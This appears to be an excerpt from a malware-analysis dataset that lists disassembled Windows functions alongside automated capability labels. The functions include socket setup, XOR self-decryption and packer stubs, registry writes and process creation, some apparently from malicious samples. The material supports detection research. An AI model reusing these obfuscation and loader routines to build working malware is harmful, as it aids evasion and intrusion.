joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403020
Capabilities:
Create thread
Initialize winsock library

Disassembly:
sub esp, 0x198
lea eax, [esp + 8]
push ebx
push ebp
push esi
push edi
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov edi, 0x40e33c
or ecx, 0xffffffff
xor eax, eax
push 0x3e
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x40e33c
call fcn.004011d0
push 0x40e33c
call fcn.00401160
mov ebx, eax
or ecx, 0xffffffff
mov edi, ebx
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffe4
cmp ecx, 0x7fffffff
ja 0x4030a2
test ecx, ecx
lea edx, [ebx + 8]
mov esi, ecx
mov eax, 0x40e33c
je 0x4030a2
sub edx, eax
mov cl, byte [edx + eax]
test cl, cl
je 0x40309a
mov byte [eax], cl
inc eax
dec esi
jne 0x40308b
jmp 0x40309e
test esi, esi
jne 0x40309f
dec eax
mov byte [eax], 0
push ebx
call fcn.0040626e
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
xor ecx, ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x14], ecx
push 0
lea edx, [esp + 0x14]
push 0
push edx
push 0x4024b0
push 0
push 0
call fcn.00405d24
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push esi
call edi
push esi
call ebx
push 0x12c
call ebp
jmp 0x4030cb

Function at 0x403100
Capabilities:
Query environment variable

Disassembly:
mov al, byte [0x40e43e]
sub esp, 0x30c
test al, 4
je 0x40311c
call fcn.00402f50
test al, al
jne 0x40321f
test byte [0x40e43e], 8
je 0x403132
call fcn.00402ff0
test al, al
jne 0x40321f
test byte [0x40e43e], 1
je 0x40314b
call fcn.00403020
xor eax, eax
add esp, 0x30c
ret 0x10
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x318]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 8]
push 0x104
push eax
push ecx
call esi
lea edx, [esp + 8]
push 0x5c
push edx
call fcn.004064d0
add esp, 8
mov byte [eax], 0
lea eax, [esp + 0x210]
push 0x104
push eax
push 0
call esi
lea ecx, [esp + 0x10c]
push 0x104
push ecx
push str.APPDATA
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea edi, [esp + 0x10c]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x210]
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x10c]
push ecx
push edx
push eax
call fcn.00406490
add esp, 0xc
test eax, eax
pop edi
pop esi
jne 0x403202
push eax
push eax
call fcn.00402d30
add esp, 8
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
add esp, 0x30c
ret 0x10
push str.KbV0gNAQBZLCwabECDsTaAveS9KAIUPHNs
push str.V3wTxrHpeNBquh3O6KkPhH2i
push str.1V6olwFR7325Qf
call fcn.00403230
add esp, 0xc
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
add esp, 0x30c
ret 0x10
Function at 0x4038d0
Capabilities:
Resolve dns

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
test eax, eax
jge 0x4038f4
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x4038ed
pop esi
ret
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
pop esi
ret

Function at 0x403980
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp]
push str.Program_FilesInternet_Exploreriexplore.exe
push ecx
mov byte [esp + 0xa], 0
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [esp + 0x108]
lea edx, [esp]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, 1
add esp, 0x104
ret

Function at 0x403f30
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x403f4e
or eax, eax
pop esi
add esp, 0x10
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push ecx
mov dword [esp + 0xc], eax
mov word [esp + 8], 2
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esp + 4]
push 0x10
push edx
push esi
mov word [esp + 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x403f8f
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
pop esi
add esp, 0x10
ret
mov eax, esi
pop esi
add esp, 0x10
ret
Function at 0x408c08
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40f3f8
cmp edx, dword [eax]
je 0x408c2a
add eax, 8
inc ecx
cmp eax, 0x40f488
jl 0x408c1b
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40f3f8]
jne 0x408d58
mov eax, dword [0x40fd5c]
cmp eax, 1
je 0x408d32
test eax, eax
jne 0x408c5b
cmp dword [0x40eee4], 1
je 0x408d32
cmp edx, 0xfc
je 0x408d58
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x408c92
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0040a290
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00409530
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x408cd5
lea eax, [ebp - 0x1a4]
push eax
call fcn.00409530
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40c98c
push edi
call fcn.00406050
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0040a290
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0040a2a0
lea eax, [ebp - 0xa0]
push 0x40c96c
push eax
call fcn.0040a2a0
push dword [esi + 0x40f3fc]
lea eax, [ebp - 0xa0]
push eax
call fcn.0040a2a0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040a380
add esp, 0x2c
pop edi
jmp 0x408d58
lea eax, [ebp + 8]
lea esi, [esi + 0x40f3fc]
push 0
push eax
push dword [esi]
call fcn.00409530
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40915c
nop
mov ecx, 0x6ee27022
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x431024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0x74d536ad
nop
nop
nop
test eax, eax
nop
je 0x431084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x403e60
Capabilities:
Read .ini file

Disassembly:
push ebx
push esi
push edi
push 0x402
mov ebx, ecx
mov edi, 0x200
call fcn.00408cc2
add esp, 4
mov esi, eax
push dword [ebx + 4]
push edi
push esi
push 0x425a88
push str.Skin
push str.General
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
inc eax
cmp eax, edi
jb 0x403ee9
nop dword [eax + eax]
push esi
add edi, 0x200
call fcn.00408cbd
xor ecx, ecx
lea eax, [edi + 1]
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00408cc2
add esp, 8
mov esi, eax
push dword [ebx + 4]
push edi
push esi
push 0x425a88
push str.Skin
push str.General
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
inc eax
cmp eax, edi
jae 0x403ea0
pop edi
mov eax, esi
pop esi
pop ebx
ret 0xc
Function at 0x4093aa
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4093e9
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4093e9
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4093e9
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4093e9
cmp dword [ecx + 0x74], 0xe
jbe 0x4093e9
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x41463b
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x422c48
push 0x422c40
push str.FlsAlloc
push 0x1f
call fcn.004144fa
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41466f
push dword [ebp + 8]
mov ecx, esi
call dword [0x41f1d8]
call esi
jmp 0x414675
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4146b9
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x422c58
push 0x422c50
push str.FlsGetValue
push 0x21
call fcn.004144fa
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4146f0
push dword [ebp + 8]
mov ecx, esi
call dword [0x41f1d8]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x4146f8
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x422c60
push 0x422c58
push str.FlsSetValue
push 0x22
call fcn.004144fa
mov esi, eax
add esp, 0x10
test esi, esi
je 0x414732
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x41f1d8]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x4177be
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x42c00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x417809
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.00417959
test al, al
jne 0x417803
sub edx, 2
cmp edx, edi
jne 0x4177e9
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x41782b
lea eax, [edi + 2]
cmp edx, eax
je 0x41782b
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.0041770a
add esp, 0x10
jmp 0x417925
push esi
lea ecx, [ebp - 0x255]
call fcn.00417959
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x41786e
push dword [ebp - 0x25c]
jmp 0x41781b
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x4178ab
cmp word [ebp - 0x226], 0
je 0x4178cc
cmp word [ebp - 0x226], ax
jne 0x4178ab
cmp word [ebp - 0x224], 0
je 0x4178cc
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.0041770a
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x417918
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x417885
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x417900
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x417925
push 0x41753a
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.0041bee0
add esp, 0x10
jmp 0x4178f5
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040891d
leave
ret

Function at 0x41823b
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x41824c
pop esi
ret
push ebx
push edi
push esi
call fcn.00418204
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00412c5c
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x418274
push ebx
push esi
push edi
call fcn.0040a350
add esp, 0xc
push 0
call fcn.00412c22
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x418644
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00418289
Function at 0x41dc70
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41dc9d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41dc9d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x414838
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44ec90]
jne 0x414842
repz ret
jmp fcn.0041a6eb

Function at 0x415508
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x415517
pop dword [ebp - 0x50]
mov eax, 0x581202dc
sub eax, 0x57d0adc5
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push FindFirstFileW
push 0
mov eax, 0x66e4161b
add eax, 0x995fac3d
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0x7c169f94
add ecx, 0x83e9a64a
xor ebx, ebx
add ebx, eax
mov esi, 0x500766c2
sub esi, 0x4fc0b4c2
add esi, dword [ebp - 0x50]
mov edi, 0x2b99b497
mov dword [ebp - 0x28], 0x6c0dc8e7
mov edx, dword [esi]
xor dword [ebp - 0x48], esi
xor edx, edi
sub dword [ebp - 0x24], 0x17f52a8b
mov dword [ebx], edx
xor dword [ebp - 0x34], ecx
add ebx, 0xca196250
add ebx, 0x35e69db4
add esi, 4
loop 0x415572
add eax, 0xd83edea9
add eax, 0x27c22ba2
mov ebx, eax
add eax, 0x5675597
add eax, 0xfa98aa6e
mov ecx, 0x400000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408ecc
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x5d4d5c77
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e1d0
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x2485283d
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x600584
Capabilities:
Encode data using xor

Disassembly:
jb 0x600565
jg 0x600511
or dword [ecx - 0x271d5f3e], edi
fxch st(6)
Function at 0x402380
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x60
fldz
xor eax, eax
mov dword [esp], eax
fstp qword [esp + 4]
fldz
mov dword [esp + 0x1c], 0x44
fstp dword [esp + 4]
mov ecx, dword [esp]
mov dword [esp], ecx
mov edx, dword [esp]
mov ecx, dword [esp]
sub edx, ecx
mov ecx, dword [esp]
imul edx, ecx
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x48], 1
mov dword [esp], edx
dec dword [esp]
xor edx, edx
mov word [esp + 0x4e], dx
mov ecx, 1
lea edx, [esp + 0xc]
push edx
mov edx, dword [esp + 0x6c]
mov word [esp + 0x50], cx
lea ecx, [esp + 0x20]
push ecx
push eax
push eax
push 8
push eax
push eax
push eax
mov dword [esp + 0x70], eax
mov eax, dword [esp + 0x84]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
add esp, 0x60
ret

Function at 0x402550
Capabilities:
Encode data using xor

Disassembly:
sub esp, 8
fldz
push ebx
push esi
fst qword [esp + 8]
push edi
fst qword [esp + 0xc]
mov edi, dword [esp + 0x1c]
fstp qword [esp + 0xc]
push edi
call fcn.0040afea
mov ebx, dword [esp + 0x1c]
push edi
mov esi, eax
push ebx
push esi
call fcn.0040b110
mov eax, dword [0x4243d0]
sub eax, 0x768b23db
mov dword [esp + 0x2c], eax
fild dword [esp + 0x2c]
add edi, esi
add esp, 0x10
mov ecx, esi
fmul qword [0x4243e0]
fstp qword [0x4243e0]
inc dword [0x4243d0]
mov eax, dword [0x4279a4]
sub eax, 0x423004
add eax, ebx
cmp esi, edi
je 0x4025c1
mov dl, byte [eax]
xor byte [ecx], dl
inc ecx
inc eax
cmp ecx, edi
jne 0x4025b7
pop edi
mov eax, esi
pop esi
pop ebx
add esp, 8
ret

Function at 0x4028b0
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
fldz
push ebx
push esi
push edi
mov dword [esp + 0xc], 0
fstp dword [esp + 0xc]
fldz
push 3
push 0x42428c
fstp qword [esp + 0x14]
call fcn.00402550
mov ebx, dword [esp + 0x20]
mov edi, eax
push edi
push ebx
call fcn.0040ba49
mov esi, eax
add esp, 0x10
test esi, esi
jne 0x402919
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push ebx
call fcn.0040ba49
fld dword [0x424690]
fmul qword [0x41f458]
mov esi, eax
add esp, 8
fstp dword [0x424690]
test esi, esi
je 0x402931
push esi
push 1
lea eax, [esp + 0x24]
push 4
push eax
call fcn.0040b903
push esi
call fcn.0040b725
add esp, 0x14
push edi
push 3
call fcn.004024f0
add esp, 8
pop edi
pop esi
pop ebx
add esp, 8
ret
Function at 0x403340
Capabilities:
Set registry value

Disassembly:
sub esp, 0x14
fldz
push ebx
xor eax, eax
mov word [esp + 8], ax
fstp qword [esp + 0x10]
xor ecx, ecx
push 0x2e
push 0x424c00
mov word [esp + 0xc], cx
call fcn.00402550
add esp, 8
lea edx, [esp + 0xc]
push edx
mov ebx, eax
push ebx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x403417
push esi
push edi
push 0x34
push 0x424c48
call fcn.00402550
mov edx, dword [esp + 0x2c]
mov esi, eax
mov eax, edx
add esp, 8
lea edi, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4033a0
sub eax, edi
push eax
mov eax, dword [esp + 0x18]
push edx
push 1
push 0
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push esi
push 0x34
call fcn.004024f0
fld qword [esp + 0x20]
fadd qword [0x41f348]
add esp, 8
pop edi
pop esi
fstp qword [esp + 0x10]
fld qword [esp + 0x10]
mov cx, word [esp + 8]
fadd qword [0x41f4d0]
inc dword [esp + 8]
movsx edx, cx
sub edx, 0x234ddcce
mov dword [esp + 4], edx
fild dword [esp + 4]
fcompp
fnstsw ax
test ah, 0x41
jne 0x403417
mov ax, word [0x424698]
movzx ecx, word [esp + 8]
cwde
sub eax, ecx
mov word [0x424698], ax
push ebx
push 0x2e
call fcn.004024f0
mov edx, dword [esp + 0x14]
add esp, 8
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
add esp, 0x14
ret
Function at 0x40a420
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x20
fldz
push ebx
push ebp
xor ebp, ebp
mov dword [esp + 0xc], ebp
fstp qword [esp + 0x20]
fldz
mov dword [esp + 0x10], ebp
fst dword [esp + 0x1c]
mov dword [0x4279ac], ebp
fst dword [esp + 8]
push esi
fstp dword [esp + 0x18]
push edi
fld dword [esp + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
fld1
xor esi, esi
fadd st(1), st(0)
lea ebx, [ebp + 1]
fxch st(1)
fstp dword [esp + 0x10]
fld qword [esp + 0x28]
fld dword [esp + 0x10]
mov ax, word [0x42520c]
movsx ecx, ax
mov dword [esp + 0x20], ecx
fild dword [esp + 0x20]
fsubp st(1)
fsubp st(1)
fstp qword [esp + 0x28]
fld dword [0x424660]
fld dword [0x424450]
fsubr qword [0x41f9b8]
fsubp st(1)
fstp dword [0x424660]
fld dword [esp + 0x10]
fsub st(1)
fstp dword [esp + 0x10]
fld dword [esp + 0x10]
fadd qword [esp + 0x28]
fcomp qword [0x41f9b0]
fnstsw ax
test ah, 1
jne 0x40a4d0
fld dword [0x41f9a8]
fstp dword [esp + 0x1c]
jmp 0x40a4ea
mov edx, dword [esp + 0x14]
mov eax, 0x8df69ca0
sub eax, edx
cmp eax, 0x9a2f6192
je 0x40a4ea
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x14]
cmp esi, dword [0x424280]
je 0x40a53b
mov eax, dword [esp + 0x18]
fstp st(0)
mov dword [esp + 0x20], eax
fild dword [esp + 0x20]
mov dword [esi*4 + 0x4274e8], ebp
fadd qword [esp + 0x28]
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x20], ecx
fild dword [esp + 0x20]
fmulp st(1)
call fcn.0040aef0
push ebp
push ebp
push esi
push 0x4017e0
push ebp
mov dword [esp + 0x28], eax
add dword [esp + 0x2c], ebx
push ebp
call edi
fld1
add esi, ebx
jmp 0x40a4a5
fld dword [esp + 0x1c]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
fadd st(1)
push 0xa
fstp dword [esp + 0x20]
fld dword [esp + 0x20]
fsub qword [esp + 0x2c]
fadd qword [esp + 0x2c]
fstp qword [esp + 0x2c]
fld qword [esp + 0x2c]
fadd st(1)
fstp qword [esp + 0x2c]
fld dword [0x4242fc]
fld dword [esp + 0x28]
fsub qword [0x41f9a0]
fsub qword [0x41f998]
fsubp st(1)
fstp dword [0x4242fc]
fadd dword [esp + 0x14]
fstp dword [esp + 0x14]
fld dword [esp + 0x14]
fmul qword [esp + 0x2c]
fstp qword [esp + 0x2c]
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_SetEvent]
mov esi, 0x424284
jmp 0x40a5b0
movzx edx, word [esi]
mov eax, dword [edx*4 + 0x4274e8]
push eax
call ebx
movzx ecx, word [esi]
cmp dword [ecx*4 + 0x4274e8], ebp
je 0x40a5e0
lea esp, [esp]
push 0xa
call edi
movzx edx, word [esi]
cmp dword [edx*4 + 0x4274e8], ebp
jne 0x40a5d0
mov eax, dword [0x424310]
mov ecx, dword [esp + 0x18]
add esi, 2
lea edx, [ecx + eax - 0x2d498261]
mov dword [esp + 0x18], edx
cmp esi, 0x42428c
jne 0x40a5b0
call dword [0x4279ac]
mov bh, 0xa8
insd dword es:[edi], dx
js 0x40a672
mov ebx, 0xdef95559
lcall 0x1315, 0x958f649a
sbb dword [edx], edx
rcl byte [esi - 0x6b], cl
sal dword [ecx], 1
fdiv st(5)
xor al, al
ljmp 0xb838
xchg ebp, eax
in al, 0x59
mov edx, 0xe94d2aba
test dword [ebp + 8], ecx
cmp bl, byte [edx]
jle 0x40a6ff
xor ebp, edx
out 0x2c, eax
push esi
xor ch, byte [ebx]
invalid
and eax, sym.imp.WS2_32.dll_WSAStartup

Function at 0x40b0b4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x426190]
jne 0x40b0be
repz ret
jmp fcn.0040f4f1
Function at 0x416484
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040f7db
and dword [ebp - 4], 0
cmp dword [0x428414], 0
mov ebx, eax
jne 0x416535
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4165e6
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x420a60
push edi
call esi
test eax, eax
je 0x4165e6
push eax
call fcn.0040f769
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x428414], eax
call esi
push eax
call fcn.0040f769
mov dword [esp], 0x420a3c
push edi
mov dword [0x428418], eax
call esi
push eax
call fcn.0040f769
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x42841c], eax
call esi
push eax
call fcn.0040f769
pop ecx
mov dword [0x428424], eax
test eax, eax
je 0x416535
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040f769
pop ecx
mov dword [0x428420], eax
mov eax, dword [0x428420]
cmp eax, ebx
je 0x41658d
cmp dword [0x428424], ebx
je 0x41658d
push eax
call fcn.0040f7e4
push dword [0x428424]
mov esi, eax
call fcn.0040f7e4
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x41658d
test edi, edi
je 0x41658d
call esi
test eax, eax
je 0x416584
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x416584
test byte [ebp - 0xc], 1
jne 0x41658d
or dword [ebp + 0x10], 0x200000
jmp 0x4165c6
mov eax, dword [0x428418]
cmp eax, ebx
je 0x4165c6
push eax
call fcn.0040f7e4
pop ecx
test eax, eax
je 0x4165c6
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4165c6
mov eax, dword [0x42841c]
cmp eax, ebx
je 0x4165c6
push eax
call fcn.0040f7e4
pop ecx
test eax, eax
je 0x4165c6
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x428414]
call fcn.0040f7e4
pop ecx
test eax, eax
je 0x4165e6
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4165e8
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret